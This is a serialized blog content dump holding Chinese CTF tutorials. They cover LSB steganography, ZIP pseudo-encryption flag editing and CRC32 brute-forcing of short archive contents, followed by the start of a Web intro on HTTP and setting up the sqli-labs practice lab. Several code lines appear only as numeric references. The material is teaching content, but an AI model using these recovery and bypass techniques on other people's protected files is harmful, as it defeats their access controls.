PIL 是 Python 图像处理库，Image 模块负责打开、新建、保存图片。\n",[29,11946,11947],{"class":31,"line":111},[29,11948,741],{"emptyLinePlaceholder":740},[29,11950,11951],{"class":31,"line":157},[29,11952,5085],{},[29,11954,11955],{"class":31,"line":163},[29,11956,11957],{},"# Image.new(mode, size, color)：新建图片。mode='RGB'，size=(8,8)，color 是初始色。\n",[29,11959,11960],{"class":31,"line":169},[29,11961,5100],{},[29,11963,11964],{"class":31,"line":215},[29,11965,741],{"emptyLinePlaceholder":740},[29,11967,11968],{"class":31,"line":221},[29,11969,5109],{},[29,11971,11972],{"class":31,"line":227},[29,11973,11974],{},"# encode()：字符串转字节；追加 b'\\x00' 作为结束符（提取时遇到 0 停止）。\n",[29,11976,11977],{"class":31,"line":773},[29,11978,5124],{},[29,11980,11981],{"class":31,"line":779},[29,11982,11983],{},"# 每个字节转成 8 位二进制字符串后拼接成一条长比特串。\n",[29,11985,11986],{"class":31,"line":785},[29,11987,5139],{},[29,11989,11990],{"class":31,"line":791},[29,11991,11992],{},"# getdata()：取出所有像素，每项是 (r,g,b)。\n",[29,11994,11995],{"class":31,"line":797},[29,11996,741],{"emptyLinePlaceholder":740},[29,11998,11999],{"class":31,"line":803},[29,12000,5153],{},[29,12002,12003],{"class":31,"line":809},[29,12004,5158],{},[29,12006,12007],{"class":31,"line":815},[29,12008,5163],{},[29,12010,12011],{"class":31,"line":821},[29,12012,5168],{},[29,12014,12015],{"class":31,"line":827},[29,12016,5173],{},[29,12018,12019],{"class":31,"line":833},[29,12020,12021],{},"        # r & 0xfe：最低位清零；| int(bits[i])：写入第 i 个秘密比特。\n",[29,12023,12024],{"class":31,"line":839},[29,12025,5168],{},[29,12027,12028],{"class":31,"line":845},[29,12029,5192],{},[29,12031,12032],{"class":31,"line":851},[29,12033,12034],{},"        # 绿色通道，同样处理。\n",[29,12036,12037],{"class":31,"line":857},[29,12038,5168],{},[29,12040,12041],{"class":31,"line":863},[29,12042,5206],{},[29,12044,12045],{"class":31,"line":869},[29,12046,12047],{},"        # 蓝色通道。三个通道依次消耗比特，直到消息写完。\n",[29,12049,12050],{"class":31,"line":875},[29,12051,5216],{},[29,12053,12054],{"class":31,"line":1256},[29,12055,741],{"emptyLinePlaceholder":740},[29,12057,12058],{"class":31,"line":1262},[29,12059,5230],{},[29,12061,12062],{"class":31,"line":1268},[29,12063,12064],{},"# putdata()：把修改后的像素写回图片。\n",[29,12066,12067],{"class":31,"line":1274},[29,12068,5242],{},[29,12070,12071],{"class":31,"line":1280},[29,12072,12073],{},"# save()：保存为 PNG。\n",[29,12075,12076],{"class":31,"line":1286},[29,12077,5254],{},[15,12079,12080,12082,12083,5264,12085,12087],{},[26,12081,5259],{}," 清零最低位（",[26,12084,5263],{},[26,12086,5267],{}," 写入。",[76,12089,12091],{"id":12090},"_33-提取解题视角","3.3 提取（解题视角）",[15,12093,12094,12096],{},[67,12095,251],{},"：把像素最低位收集起来，每 8 位一组还原成字节，得到隐藏消息。",[15,12098,12099,12101],{},[67,12100,261],{},"：读取像素 → 依次取 R、G、B 最低位 → 8 位拼 1 字节 → 遇到 0 结束。",[19,12103,12105],{"className":721,"code":12104,"language":723,"meta":24,"style":24},"from PIL import Image\n\nimg = Image.open('hidden.png').convert('RGB')\n# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\nbits = []\nfor r, g, b in img.getdata():\n    bits += [r & 1, g & 1, b & 1]\n    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n\ndata = bytearray()\nfor i in range(0, len(bits) - 7, 8):\n    # 每 8 个比特一组，步长为 8。\n    byte = 0\n    for bit in bits[i:i+8]:\n        byte = (byte \u003C\u003C 1) | bit\n        # 左移 1 位再或上当前比特，等价于二进制拼接。\n    if byte == 0:\n        # 字节 0 是隐藏时追加的结束符。\n        break\n    data.append(byte)\n\nprint(data.decode())\n# decode()：字节串解码成字符串。\n",[26,12106,12107,12111,12115,12119,12124,12128,12132,12136,12141,12145,12149,12153,12158,12162,12166,12170,12175,12179,12184,12188,12192,12196,12200],{"__ignoreMap":24},[29,12108,12109],{"class":31,"line":32},[29,12110,5071],{},[29,12112,12113],{"class":31,"line":38},[29,12114,741],{"emptyLinePlaceholder":740},[29,12116,12117],{"class":31,"line":111},[29,12118,5300],{},[29,12120,12121],{"class":31,"line":157},[29,12122,12123],{},"# Image.open：打开图片；convert('RGB')：统一为 RGB 模式。\n",[29,12125,12126],{"class":31,"line":163},[29,12127,5315],{},[29,12129,12130],{"class":31,"line":169},[29,12131,5320],{},[29,12133,12134],{"class":31,"line":215},[29,12135,5325],{},[29,12137,12138],{"class":31,"line":221},[29,12139,12140],{},"    # r & 1：取最低位（0 或 1），顺序与隐藏时一致。\n",[29,12142,12143],{"class":31,"line":227},[29,12144,741],{"emptyLinePlaceholder":740},[29,12146,12147],{"class":31,"line":773},[29,12148,5344],{},[29,12150,12151],{"class":31,"line":779},[29,12152,5349],{},[29,12154,12155],{"class":31,"line":785},[29,12156,12157],{},"    # 每 8 个比特一组，步长为 8。\n",[29,12159,12160],{"class":31,"line":791},[29,12161,5359],{},[29,12163,12164],{"class":31,"line":797},[29,12165,5364],{},[29,12167,12168],{"class":31,"line":803},[29,12169,5369],{},[29,12171,12172],{"class":31,"line":809},[29,12173,12174],{},"        # 左移 1 位再或上当前比特，等价于二进制拼接。\n",[29,12176,12177],{"class":31,"line":815},[29,12178,5384],{},[29,12180,12181],{"class":31,"line":821},[29,12182,12183],{},"        # 字节 0 是隐藏时追加的结束符。\n",[29,12185,12186],{"class":31,"line":827},[29,12187,872],{},[29,12189,12190],{"class":31,"line":833},[29,12191,5398],{},[29,12193,12194],{"class":31,"line":839},[29,12195,741],{"emptyLinePlaceholder":740},[29,12197,12198],{"class":31,"line":845},[29,12199,5407],{},[29,12201,12202],{"class":31,"line":851},[29,12203,12204],{},"# decode()：字节串解码成字符串。\n",[15,12206,1314],{},[19,12208,12210],{"className":12209,"code":5418,"language":300,"meta":24},[298],[26,12211,5418],{"__ignoreMap":24},[76,12213,12215],{"id":12214},"_34-工具验证","3.4 工具验证",[19,12217,12219],{"className":82,"code":12218,"language":84,"meta":24,"style":24},"zsteg -a hidden.png\n",[26,12220,12221],{"__ignoreMap":24},[29,12222,12223,12225,12227],{"class":31,"line":32},[29,12224,5444],{"class":91},[29,12226,5447],{"class":116},[29,12228,4830],{"class":95},[15,12230,12231,12232,127],{},"预期输出中包含 ",[26,12233,12234],{},"flag{lsb_steganography}",[10,12236,12238],{"id":12237},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,12240,12241,12243],{},[67,12242,251],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,12245,12246,12248],{},[67,12247,261],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[76,12250,12252],{"id":12251},"_41-zip-结构","4.1 ZIP 结构",[15,12254,12255],{},"本地文件头：",[19,12257,12260],{"className":12258,"code":12259,"language":300,"meta":24},[298],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[26,12261,12259],{"__ignoreMap":24},[15,12263,12264,12265,12268],{},"中央目录头（签名 ",[26,12266,12267],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[76,12270,12272],{"id":12271},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,12274,12275,12277],{},[67,12276,251],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[19,12279,12281],{"className":721,"code":12280,"language":723,"meta":24,"style":24},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[26,12282,12283,12288,12292,12297,12302,12306,12311],{"__ignoreMap":24},[29,12284,12285],{"class":31,"line":32},[29,12286,12287],{},"import zipfile\n",[29,12289,12290],{"class":31,"line":38},[29,12291,741],{"emptyLinePlaceholder":740},[29,12293,12294],{"class":31,"line":111},[29,12295,12296],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[29,12298,12299],{"class":31,"line":157},[29,12300,12301],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[29,12303,12304],{"class":31,"line":163},[29,12305,741],{"emptyLinePlaceholder":740},[29,12307,12308],{"class":31,"line":169},[29,12309,12310],{},"data = open('flag.zip', 'rb').read()\n",[29,12312,12313],{"class":31,"line":215},[29,12314,12315],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,12317,1314],{},[19,12319,12322],{"className":12320,"code":12321,"language":300,"meta":24},[298],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[26,12323,12321],{"__ignoreMap":24},[15,12325,12326],{},"解释：",[19,12328,12331],{"className":12329,"code":12330,"language":300,"meta":24},[298],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[26,12332,12330],{"__ignoreMap":24},[76,12334,12336],{"id":12335},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12338,12339,12341],{},[67,12340,261],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[19,12343,12345],{"className":721,"code":12344,"language":723,"meta":24,"style":24},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[26,12346,12347,12352,12356,12361,12366,12371,12375,12380,12385,12390,12394],{"__ignoreMap":24},[29,12348,12349],{"class":31,"line":32},[29,12350,12351],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[29,12353,12354],{"class":31,"line":38},[29,12355,741],{"emptyLinePlaceholder":740},[29,12357,12358],{"class":31,"line":111},[29,12359,12360],{},"# 本地文件头：偏移 6 处标志位置位\n",[29,12362,12363],{"class":31,"line":157},[29,12364,12365],{},"idx = data.find(b'PK\\x03\\x04')\n",[29,12367,12368],{"class":31,"line":163},[29,12369,12370],{},"data[idx + 6] |= 1\n",[29,12372,12373],{"class":31,"line":169},[29,12374,741],{"emptyLinePlaceholder":740},[29,12376,12377],{"class":31,"line":215},[29,12378,12379],{},"# 中央目录头：偏移 8 处标志位置位\n",[29,12381,12382],{"class":31,"line":221},[29,12383,12384],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[29,12386,12387],{"class":31,"line":227},[29,12388,12389],{},"data[idx2 + 8] |= 1\n",[29,12391,12392],{"class":31,"line":773},[29,12393,741],{"emptyLinePlaceholder":740},[29,12395,12396],{"class":31,"line":779},[29,12397,12398],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12400,12401],{},"修改后的 hexdump：",[19,12403,12406],{"className":12404,"code":12405,"language":300,"meta":24},[298],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[26,12407,12405],{"__ignoreMap":24},[15,12409,12410],{},"尝试读取：",[19,12412,12414],{"className":721,"code":12413,"language":723,"meta":24,"style":24},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[26,12415,12416,12420,12424,12429,12434,12439,12444],{"__ignoreMap":24},[29,12417,12418],{"class":31,"line":32},[29,12419,12287],{},[29,12421,12422],{"class":31,"line":38},[29,12423,741],{"emptyLinePlaceholder":740},[29,12425,12426],{"class":31,"line":111},[29,12427,12428],{},"try:\n",[29,12430,12431],{"class":31,"line":157},[29,12432,12433],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[29,12435,12436],{"class":31,"line":163},[29,12437,12438],{},"        print(z.read('flag.txt'))\n",[29,12440,12441],{"class":31,"line":169},[29,12442,12443],{},"except Exception as e:\n",[29,12445,12446],{"class":31,"line":215},[29,12447,12448],{},"    print(type(e).__name__, e)\n",[15,12450,1314],{},[19,12452,12455],{"className":12453,"code":12454,"language":300,"meta":24},[298],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[26,12456,12454],{"__ignoreMap":24},[15,12458,12459],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[76,12461,12463],{"id":12462},"_44-修复","4.4 修复",[15,12465,12466,12468,12469,12472],{},[67,12467,261],{},"：把两处标志位最低位清零（",[26,12470,12471],{},"& 0xfe","），恢复成未加密状态。",[19,12474,12476],{"className":721,"code":12475,"language":723,"meta":24,"style":24},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[26,12477,12478,12483,12487,12491,12496,12500,12505,12509,12514,12518,12523],{"__ignoreMap":24},[29,12479,12480],{"class":31,"line":32},[29,12481,12482],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[29,12484,12485],{"class":31,"line":38},[29,12486,741],{"emptyLinePlaceholder":740},[29,12488,12489],{"class":31,"line":111},[29,12490,12365],{},[29,12492,12493],{"class":31,"line":157},[29,12494,12495],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[29,12497,12498],{"class":31,"line":163},[29,12499,12384],{},[29,12501,12502],{"class":31,"line":169},[29,12503,12504],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[29,12506,12507],{"class":31,"line":215},[29,12508,741],{"emptyLinePlaceholder":740},[29,12510,12511],{"class":31,"line":221},[29,12512,12513],{},"open('flag_fixed.zip', 'wb').write(data)\n",[29,12515,12516],{"class":31,"line":227},[29,12517,741],{"emptyLinePlaceholder":740},[29,12519,12520],{"class":31,"line":773},[29,12521,12522],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[29,12524,12525],{"class":31,"line":779},[29,12526,12527],{},"    print(z.read('flag.txt'))\n",[15,12529,1314],{},[19,12531,12534],{"className":12532,"code":12533,"language":300,"meta":24},[298],"b'ctf{zip}'\n",[26,12535,12533],{"__ignoreMap":24},[15,12537,12538,12539,12542],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[26,12540,12541],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12544,12546],{"id":12545},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12548,12549,12551],{},[67,12550,251],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12553,12554,12556],{},[67,12555,261],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12558,12559],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[19,12561,12563],{"className":721,"code":12562,"language":723,"meta":24,"style":24},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[26,12564,12565,12570,12575,12579,12584,12589,12594,12599,12603,12608,12613,12618,12623,12628,12633,12638,12643,12648,12653],{"__ignoreMap":24},[29,12566,12567],{"class":31,"line":32},[29,12568,12569],{},"import zipfile, zlib, itertools\n",[29,12571,12572],{"class":31,"line":38},[29,12573,12574],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[29,12576,12577],{"class":31,"line":111},[29,12578,741],{"emptyLinePlaceholder":740},[29,12580,12581],{"class":31,"line":157},[29,12582,12583],{},"z = zipfile.ZipFile('flag.zip')\n",[29,12585,12586],{"class":31,"line":163},[29,12587,12588],{},"target = z.getinfo('flag.txt').CRC\n",[29,12590,12591],{"class":31,"line":169},[29,12592,12593],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[29,12595,12596],{"class":31,"line":215},[29,12597,12598],{},"print(\"目标 CRC:\", target)\n",[29,12600,12601],{"class":31,"line":221},[29,12602,741],{"emptyLinePlaceholder":740},[29,12604,12605],{"class":31,"line":227},[29,12606,12607],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[29,12609,12610],{"class":31,"line":773},[29,12611,12612],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[29,12614,12615],{"class":31,"line":779},[29,12616,12617],{},"for length in range(1, 5):\n",[29,12619,12620],{"class":31,"line":785},[29,12621,12622],{},"    for tup in itertools.product(charset, repeat=length):\n",[29,12624,12625],{"class":31,"line":791},[29,12626,12627],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[29,12629,12630],{"class":31,"line":797},[29,12631,12632],{},"        s = ''.join(tup).encode()\n",[29,12634,12635],{"class":31,"line":803},[29,12636,12637],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[29,12639,12640],{"class":31,"line":809},[29,12641,12642],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[29,12644,12645],{"class":31,"line":815},[29,12646,12647],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[29,12649,12650],{"class":31,"line":821},[29,12651,12652],{},"            print(\"爆破结果:\", s)\n",[29,12654,12655],{"class":31,"line":827},[29,12656,12657],{},"            exit()\n",[15,12659,12660,12661,12664],{},"实际输出（目标内容 ",[26,12662,12663],{},"ctf1","）：",[19,12666,12669],{"className":12667,"code":12668,"language":300,"meta":24},[298],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[26,12670,12668],{"__ignoreMap":24},[15,12672,12673,12674,12677,12678,12681],{},"注意 ",[26,12675,12676],{},"zlib.crc32"," 返回有符号整数，需要 ",[26,12679,12680],{},"& 0xffffffff"," 归一化。",[10,12683,2483],{"id":2482},[1325,12685,12686,12696],{},[1328,12687,12688],{},[1331,12689,12690,12692,12694],{},[1334,12691,2492],{},[1334,12693,2495],{},[1334,12695,5470],{},[1344,12697,12698,12710,12724,12737],{},[1331,12699,12700,12702,12705],{},[1349,12701,1631],{},[1349,12703,12704],{},"看类型",[1349,12706,12707],{},[26,12708,12709],{},"file flag.png",[1331,12711,12712,12714,12717],{},[1349,12713,4887],{},[1349,12715,12716],{},"看文件头与结构",[1349,12718,12719,1728,12721],{},[26,12720,5497],{},[26,12722,12723],{},"xxd flag.zip | head",[1331,12725,12726,12728,12731],{},[1349,12727,4979],{},[1349,12729,12730],{},"扫描/提取隐藏文件",[1349,12732,12733,1728,12735],{},[26,12734,5525],{},[26,12736,5528],{},[1331,12738,12739,12741,12744],{},[1349,12740,5444],{},[1349,12742,12743],{},"LSB 自动检测",[1349,12745,12746],{},[26,12747,12748],{},"zsteg -a flag.png",[10,12750,12752],{"id":12751},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12754,12755,12757],{},[67,12756,251],{},"：把前三节串成一道完整题目。",[15,12759,12760,12762],{},[67,12761,261],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12764,2581,12765,127],{},[26,12766,5537],{},[15,12768,5540],{},[19,12770,12772],{"className":82,"code":12771,"language":84,"meta":24,"style":24},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[26,12773,12774,12783,12800],{"__ignoreMap":24},[29,12775,12776,12778,12780],{"class":31,"line":32},[29,12777,1631],{"class":91},[29,12779,4858],{"class":95},[29,12781,12782],{"class":3002},"          # PNG image data\n",[29,12784,12785,12787,12789,12791,12793,12795,12797],{"class":31,"line":38},[29,12786,1674],{"class":91},[29,12788,4858],{"class":95},[29,12790,1863],{"class":1530},[29,12792,1866],{"class":91},[29,12794,4956],{"class":116},[29,12796,1029],{"class":95},[29,12798,12799],{"class":3002},"    # 无输出\n",[29,12801,12802,12804,12806],{"class":31,"line":111},[29,12803,4979],{"class":91},[29,12805,4858],{"class":95},[29,12807,12808],{"class":3002},"                   # 无隐藏文件\n",[15,12810,12811],{},"第二步：怀疑 LSB，运行提取脚本：",[19,12813,12815],{"className":12814,"code":5418,"language":300,"meta":24},[298],[26,12816,5418],{"__ignoreMap":24},[15,12818,12819,12820,12822],{},"变体：若提取出的字节不是文本而是 ",[26,12821,4765],{}," 开头，把它保存为 zip，再检查是否伪加密：",[19,12824,12826],{"className":721,"code":12825,"language":723,"meta":24,"style":24},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[26,12827,12828,12833],{"__ignoreMap":24},[29,12829,12830],{"class":31,"line":32},[29,12831,12832],{},"with open('extracted.zip', 'wb') as f:\n",[29,12834,12835],{"class":31,"line":38},[29,12836,12837],{},"    f.write(data)\n",[15,12839,12840],{},"然后按第四节流程检查并修复标志位。",[10,12842,2778],{"id":2777},[15,12844,12845,12846,12848,12849,2570,12851,12853],{},"取证主线：",[26,12847,1631],{}," 确认类型 → ",[26,12850,1674],{},[26,12852,4979],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1463,12855,12856],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":24,"searchDepth":38,"depth":38,"links":12858},[12859,12860,12861,12862,12863,12864,12865,12866],{"id":11861,"depth":111,"text":11862},{"id":1561,"depth":111,"text":1562},{"id":11907,"depth":111,"text":11908},{"id":12237,"depth":111,"text":12238},{"id":12545,"depth":111,"text":12546},{"id":2482,"depth":111,"text":2483},{"id":12751,"depth":111,"text":12752},{"id":2777,"depth":111,"text":2778},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1480,"image":3679,"alt":12869,"tags":12870,"published":740},"隐写与取证深入实战",[550,5636,12871,1486],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11856,"description":12867},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12877,"title":12878,"body":12879,"description":14726,"extension":1478,"meta":14727,"navigation":740,"ogImage":14728,"path":14731,"seo":14732,"stem":14733,"__hash__":14734},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12880,"toc":14714},[12881,12885,12888,12907,12913,12919,12921,12979,12989,12993,12996,13084,13087,13091,13095,13098,13101,13129,13134,13246,13249,13262,13266,13268,13282,13284,13289,13293,13301,13314,13319,13322,13352,13355,13360,13363,13366,13391,13396,13399,13424,13427,13435,13439,13444,13452,13455,13480,13483,13513,13518,13521,13546,13550,13553,13588,13592,13595,13625,13629,13632,13655,13659,13672,13682,13686,13691,13708,13712,13718,13727,13731,13747,13752,13756,13772,13774,13820,13829,13833,13836,13883,13890,13894,13897,13968,13975,13979,13984,14008,14012,14018,14051,14055,14086,14088,14094,14098,14129,14132,14136,14167,14170,14174,14199,14203,14206,14209,14223,14227,14232,14264,14273,14279,14310,14313,14317,14320,14374,14377,14381,14384,14387,14405,14407,14412,14415,14433,14438,14441,14467,14474,14478,14485,14505,14509,14514,14544,14549,14553,14562,14582,14584,14612,14615,14624,14633,14647,14651,14656,14699,14706,14708,14711],[10,12882,12884],{"id":12883},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12886,12887],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[19,12889,12891],{"className":82,"code":12890,"language":84,"meta":24,"style":24},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[26,12892,12893],{"__ignoreMap":24},[29,12894,12895,12897,12900,12902,12905],{"class":31,"line":32},[29,12896,281],{"class":91},[29,12898,12899],{"class":116}," -v",[29,12901,285],{"class":284},[29,12903,12904],{"class":95},"http://127.0.0.1:8000/index.php?id=1",[29,12906,291],{"class":284},[15,12908,12909,12912],{},[26,12910,12911],{},"-v"," 会显示完整过程，输出示例：",[19,12914,12917],{"className":12915,"code":12916,"language":300,"meta":24},[298],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[26,12918,12916],{"__ignoreMap":24},[15,12920,12326],{},[1325,12922,12923,12932],{},[1328,12924,12925],{},[1331,12926,12927,12930],{},[1334,12928,12929],{},"部分",[1334,12931,1955],{},[1344,12933,12934,12951,12961,12971],{},[1331,12935,12936,12941],{},[1349,12937,12938],{},[26,12939,12940],{},"GET /index.php?id=1",[1349,12942,12943,12944,12947,12948],{},"方法 GET，路径 ",[26,12945,12946],{},"/index.php","，参数 ",[26,12949,12950],{},"id=1",[1331,12952,12953,12958],{},[1349,12954,12955],{},[26,12956,12957],{},"Host",[1349,12959,12960],{},"目标主机",[1331,12962,12963,12968],{},[1349,12964,12965],{},[26,12966,12967],{},"HTTP/1.1 200 OK",[1349,12969,12970],{},"协议版本与状态码，200 表示成功",[1331,12972,12973,12976],{},[1349,12974,12975],{},"正文",[1349,12977,12978],{},"服务器返回的 HTML",[15,12980,12981,12982,12988],{},"Web 漏洞几乎都源于一件事：",[67,12983,12984,12985,12987],{},"参数 ",[26,12986,255],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12990,12992],{"id":12991},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12994,12995],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[19,12997,12999],{"className":82,"code":12998,"language":84,"meta":24,"style":24},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[26,13000,13001,13006,13021,13029,13035,13047,13051,13056,13067],{"__ignoreMap":24},[29,13002,13003],{"class":31,"line":32},[29,13004,13005],{"class":3002},"# 方式一：源码部署（需要 PHP + MySQL）\n",[29,13007,13008,13010,13012,13015,13018],{"class":31,"line":38},[29,13009,1575],{"class":91},[29,13011,1578],{"class":95},[29,13013,13014],{"class":95}," php",[29,13016,13017],{"class":95}," php-mysql",[29,13019,13020],{"class":95}," mariadb-server\n",[29,13022,13023,13025,13027],{"class":31,"line":111},[29,13024,92],{"class":91},[29,13026,96],{"class":95},[29,13028,99],{"class":95},[29,13030,13031,13033],{"class":31,"line":157},[29,13032,105],{"class":104},[29,13034,108],{"class":95},[29,13036,13037,13039,13041,13044],{"class":31,"line":163},[29,13038,23],{"class":91},[29,13040,117],{"class":116},[29,13042,13043],{"class":95}," 127.0.0.1:8000",[29,13045,13046],{"class":3002},"        # 启动后浏览器访问，点 Setup/reset Database\n",[29,13048,13049],{"class":31,"line":169},[29,13050,741],{"emptyLinePlaceholder":740},[29,13052,13053],{"class":31,"line":215},[29,13054,13055],{"class":3002},"# 方式二：Docker 部署（最简单）\n",[29,13057,13058,13061,13064],{"class":31,"line":221},[29,13059,13060],{"class":91},"docker",[29,13062,13063],{"class":95}," pull",[29,13065,13066],{"class":95}," 